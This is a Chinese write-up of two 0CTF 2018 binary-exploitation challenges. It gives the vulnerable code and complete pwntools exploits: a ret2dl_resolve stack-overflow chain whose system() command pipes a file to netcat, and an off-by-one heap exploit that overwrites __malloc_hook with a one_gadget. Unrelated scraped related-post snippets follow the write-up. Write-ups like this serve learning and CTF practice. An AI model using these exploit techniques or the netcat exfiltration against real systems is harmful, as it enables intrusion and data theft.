前言

0ctf2018pwn 做一个总结

正文

babystack

漏洞

非常直接的 栈溢出

ssize_t sub_804843B()
{
char buf; // [esp+0h] [ebp-28h] return read(0, &buf, 0x40u);
}

这个题的难点在于 用 python 启动了该程序同时过滤了 stdoutstdout

#!/usr/bin/python -u
# encoding: utf-8
from pwn import *
import random, string, subprocess, os, sys
from hashlib import sha256 os.chdir(os.path.dirname(os.path.realpath(__file__))) def proof_of_work():
chal = ''.join(random.choice(string.letters+string.digits) for _ in xrange(16))
print chal
sol = sys.stdin.read(4)
if len(sol) != 4 or not sha256(chal + sol).digest().startswith('\0\0\0'):
exit() def exec_serv(name, payload):
p = subprocess.Popen(name, stdin=subprocess.PIPE, stdout=file('/dev/null','w'), stderr=subprocess.STDOUT)
p.stdin.write(payload)
p.wait() if __name__ == '__main__':
proof_of_work()
payload = sys.stdin.read(0x100)
exec_serv('./babystack', payload)

利用

无输出,使用 ret to dl_resolve .

#coding:utf-8
import sys
sys.path.append('./roputils')
import roputils
from pwn import *
from hashlib import sha256 context.terminal = ['tmux', 'splitw', '-h']
fpath = './babystack'
offset = 44 # 离覆盖 eip 需要的距离
command_len = 60 # system 执行的命令长度 readplt = 0x08048300
bss = 0x0804a020
vulFunc = 0x0804843B p = process(fpath) rop = roputils.ROP(fpath)
addr_bss = rop.section('.bss') # step1 : write shStr & resolve struct to bss
# buf1 = rop.retfill(offset)
buf1 = 'A' * offset #44
buf1 += p32(readplt) + p32(vulFunc) + p32(0) + p32(addr_bss) + p32(100)
p.send(buf1) log.info("首先 rop 调用 read, 往 .bss 布置数据") buf2 = 'head exp.py | nc 127.0.0.1 8888\x00'
buf2 += rop.fill(command_len, buf2)
buf2 += rop.dl_resolve_data(addr_bss+command_len, 'system')
buf2 += rop.fill(100, buf2)
p.send(buf2)
log.info("布置 bss, 在 bss+command_len 处解析出 system 的地址") #step3 : use dl_resolve_call get system & system('/bin/sh')
buf3 = 'A'*offset + rop.dl_resolve_call(addr_bss+command_len, addr_bss)
p.send(buf3)
log.info("布置好后,通过 dl_resolve_call, 调用 system") p.interactive()

babyheap

漏洞

漏洞位于 update 函数时,可以往分配的内存多写入一字节的数据

int __fastcall update(obj *table)
{
unsigned __int64 size; // rax
signed int idx; // [rsp+18h] [rbp-8h]
int size_; // [rsp+1Ch] [rbp-4h] printf("Index: ");
idx = get_num();
if ( idx >= 0 && idx <= 15 && table[idx].inused == 1 )
{
printf("Size: ");
LODWORD(size) = get_num();
size_ = size;
if ( size > 0 )
{
size = table[idx].size + 1; // size = 分配的内存size + 1
if ( size_ <= size )
{
printf("Content: ");
read_to_buf(table[idx].heap, size_); // 可以溢出一个字节
LODWORD(size) = printf("Chunk %d Updated\n", idx);
}
}
}
else
{
LODWORD(size) = puts("Invalid Index");
}
return size;
}

利用

  • 利用 off-by-oneoverlap chunk. 然后利用 分配 unsorted bin 的切割机制,拿到 libc 地址
  • 再次 overlap chunk ,构造 0x40 大小的 fastbin ,修改 0x40 大小的 fastbin 的第一个chunkfd0x61
  • 分配一个 0x40fastbin, 此时 main_arean->fastbin 中就会出现 0x61, 用来 fastbin 攻击
  • 再次 overlap chunk ,构造 0x60 大小的 fastbin, 修改 0x60 大小的 fastbin 的第一个 chunkfdmain_arean->fastbin
  • fastbin attack分配到 main_arean, 然后修改 main_arean->top__malloc_hook - 0x10, 然后分配内存,修改 __malloc_hookone_gadget
#/usr/bin/env python
# -*- coding: utf-8 -*- from pwn import *
from time import *
context.terminal = ['tmux', 'splitw', '-h']
context(os='linux', arch='amd64', log_level='info') env = {"LD_PRELOAD": "./libc-2.24.so"} # p = process("./babyheap", aslr=0)
p = remote("202.120.7.204", 127) def allocate(size):
p.recvuntil("Command: ")
p.sendline("1")
p.recvuntil("Size: ")
p.sendline(str(size)) def update(idx, size, content):
p.recvuntil("Command: ")
p.sendline("2")
p.recvuntil("Index: ")
sleep(0.1)
p.sendline(str(idx))
p.recvuntil("Size: ")
p.sendline(str(size))
p.recvuntil("Content: ")
sleep(0.1)
p.send(content) def delete(idx):
p.recvuntil("Command: ")
p.sendline("3")
p.recvuntil("Index: ")
p.sendline(str(idx)) def view(idx):
p.recvuntil("Command: ")
p.sendline("4")
p.recvuntil("Index: ")
p.sendline(str(idx)) code_base = 0x555555554000 gdb_command = '''
# bp %s
directory ~/workplace/glibc-2.23/malloc/
x/30xg 0x429C0F050000
c
''' %(hex(code_base + 0x000FA9)) # gdb.attach(p, gdb_command)
# pause() allocate(0x18) # 0
allocate(0x38) # 1
allocate(0x48) # 2
allocate(0x18) # 3 update(0,0x19, "a" * 0x18 + "\x91")
delete(1) allocate(0x38) # 1 view(2)
p.recvuntil("]: ") lib = ELF("./libc-2.24.so") # libc = u64(p.recv(6) + "\x00" * 2) - 0x3c4b78
libc = u64(p.recv(6) + "\x00" * 2) - lib.symbols['__malloc_hook'] - 0x68 malloc_hook = lib.symbols['__malloc_hook'] + libc
# fast_target = libc + 0x3c4b30
fast_target = malloc_hook + 0x20
bins = malloc_hook + 0x68 one_gad = libc + 0x3f35a # bins = libc + 0x3c4b78
# bins = malloc_hook log.info("libc: " + hex(libc)) allocate(0x58) # 4
allocate(0x28) # 5
allocate(0x38) # 6
allocate(0x48) # 7
allocate(0x18) # 8
allocate(0x18) # 9 delete(5)
delete(6)
delete(8) update(3,0x19, "a" * 0x18 + "\xf1")
delete(4)
allocate(0x58) # 4
allocate(0x18) # 5
allocate(0x48) # 6 # update(4,0x59, "a" * 0x59 + "\x31")
update(6, 0x8, p64(0x61))
update(4, 0x59, "a" * 0x58 + "\x41")
# pause()
allocate(0x38) # 8 allocate(0x28) # 10
allocate(0x18) # 11
allocate(0x58) # 12
allocate(0x58) # 13
# pause() payload = p64(0x0)
payload += p64(0xc1) update(7,len(payload), payload)
log.info("make 0x180's size 0xc1")
delete(11)
pause() allocate(0x48) # 11
allocate(0x58) # 14
update(14, 0x10, p64(0) + p64(0x0000000000000061))
delete(12)
update(14, 0x18, p64(0) + p64(0x0000000000000061) + p64(fast_target)) delete(0)
# delete(1)
delete(2) allocate(0x58) # 0 allocate(0x58) # 2 payload = 'a' * 0x38
payload += p64(malloc_hook-0x10)
payload += p64(bins) * 3 print hex(len(payload)) update(2, len(payload), payload)
delete(0) allocate(0x28) payload = "a" * 8
payload += p64(0)
payload += p64(0x21)
payload += p64(bins) * 2 update(11,len(payload), payload) allocate(0x28) update(12, 8, p64(one_gad)) log.info("done")
# pause() allocate(0x10) p.interactive() # x/30xg 0x429C0F050000

0ctf2018 pwn的更多相关文章

  1. Pwn~

    Pwn Collections Date from 2016-07-11 Difficult rank: $ -> $$... easy -> hard CISCN 2016 pwn-1 ...

  2. iscc2016 pwn部分writeup

    一.pwn1 简单的32位栈溢出,定位溢出点后即可写exp gdb-peda$ r Starting program: /usr/iscc/pwn1 C'mon pwn me : AAA%AAsAAB ...

  3. i春秋30强挑战赛pwn解题过程

    80pts: 栈溢出,gdb调试发现发送29控制eip,nx:disabled,所以布置好shellcode后getshell from pwn import * #p=process('./tc1' ...

  4. SSCTF Final PWN

    比赛过去了两个月了,抽出时间,将当时的PWN给总结一下. 和线上塞的题的背景一样,只不过洞不一样了.Checksec一样,发现各种防护措施都开了. 程序模拟了简单的堆的管理,以及cookie的保护机制 ...

  5. pwn学习(1)

    0x00 简介 入职之后,公司发布任务主搞pwn和re方向,re之前还有一定的了解,pwn我可真是个弟弟,百度了一番找到了蒸米大佬的帖子,现在开始学习. 0x01 保护方式 NX (DEP):堆栈不可 ...

  6. pwn学习之四

    本来以为应该能出一两道ctf的pwn了,结果又被sctf打击了一波. bufoverflow_a 做这题时libc和堆地址都泄露完成了,卡在了unsorted bin attack上,由于delete ...

  7. pwn学习之三

    whctf2017的一道pwn题sandbox,这道题提供了两个可执行文件加一个libc,两个可执行文件是一个vuln,一个sandbox,这是一道通过沙盒去保护vuln不被攻击的题目. 用ida打开 ...

  8. pwn学习之二

    刚刚开始学习pwn,记录一下自己学习的过程. 今天get了第二道pwn题目的解答,做的题目是2017年TSCTF的easy fsb,通过这道题了解了一种漏洞和使用该漏洞获取shell的方法:即格式化字 ...

  9. pwn学习之一

    刚刚开始学习pwn,记录一下自己学习的过程. 今天完成了第一道pwn题目的解答,做的题目是2017年TSCTF的bad egg,通过这道题学习到了一种getshell的方法:通过在大小不够存储shel ...

随机推荐

  1. 【GDOI2018模拟8】 数学竞赛 三角函数性质+记忆化搜索

    数据范围:p,q≤20. 只能说我整个人傻逼了..... 我们考虑三角函数的部分性质: $sin(x)=\sqrt{ 1-cos^2(x)}$ $cos(x)=\sqrt{1-sin^2(x)}$ $ ...

  2. Docker容器(三)

    一.创建容器 容器是Docker另一个核心的概念,简单来说,容器是镜像的一个运行实例,所不同的是,镜像是静态的只读文件,而容器带有运行时需要的可写文件层 1.1. 新建容器 使用docker crea ...

  3. Linux vim 编辑命令

    vi命令命令模式:yy:复制 光标所在的这一行 4yy:复制 光标所在行开始向下的4行p: 粘贴dd:剪切 光标所在的这一行2dd:剪切 光标所在行 向下 2行D:从当前的光标开始剪切,一直到行末d0 ...

  4. 《LeetBook》leetcode题解(20):Valid Parentheses[E]——栈解决括号匹配问题

    我现在在做一个叫<leetbook>的免费开源书项目,力求提供最易懂的中文思路,目前把解题思路都同步更新到gitbook上了,需要的同学可以去看看 书的地址:https://hk029.g ...

  5. 命令行创建Android应用,命令行生成签名文件,命令行查看签名信息,对APK包签名并编译运行

    一.命令行创建Android应用 android create project -n HelloWorld -t android-22 -p HelloWorld1 -k org.crazyit.he ...

  6. mysql 存储过程,函数,触发器

    存储过程和函数 mysql> HELP CREATE PROCEDURE; Name: 'CREATE PROCEDURE' Description: Syntax: CREATE [DEFIN ...

  7. tar 命令压缩时报错 tar: Removing leading `/' from member names

    在使用tar命令进行压缩打包的时候我们常常会遇到下面的错误.虽然它不会影响我们最后的压缩打包,但是间接说明了我们的命令是有问题的.接下来我们来看看解决的方法. 报错内容: [root@haha ~]# ...

  8. Impala查询详解

    Impala的定位是一种新型的MPP查询引擎,但是它又不是典型的MPP类型的SQL引擎,提到MPP数据库首先想到的可能是GreenPlum,它的每一个节点完全独立,节点直接不共享数据,节点之间的信息传 ...

  9. 使用httpClient连接池处理get或post请求

    以前有一个自己写的: http://www.cnblogs.com/wenbronk/p/6482706.html 后来发现一个前辈写的更好的, 再此感谢一下, 确实比我写的那个好用些 1, 创建一个 ...

  10. 【LeetCode题解】136_只出现一次的数字

    目录 [LeetCode题解]136_只出现一次的数字 描述 方法一:列表操作 思路 Java 实现 Python 实现 方法二:哈希表 思路 Java 实现 Python 实现 方法三:数学运算 思 ...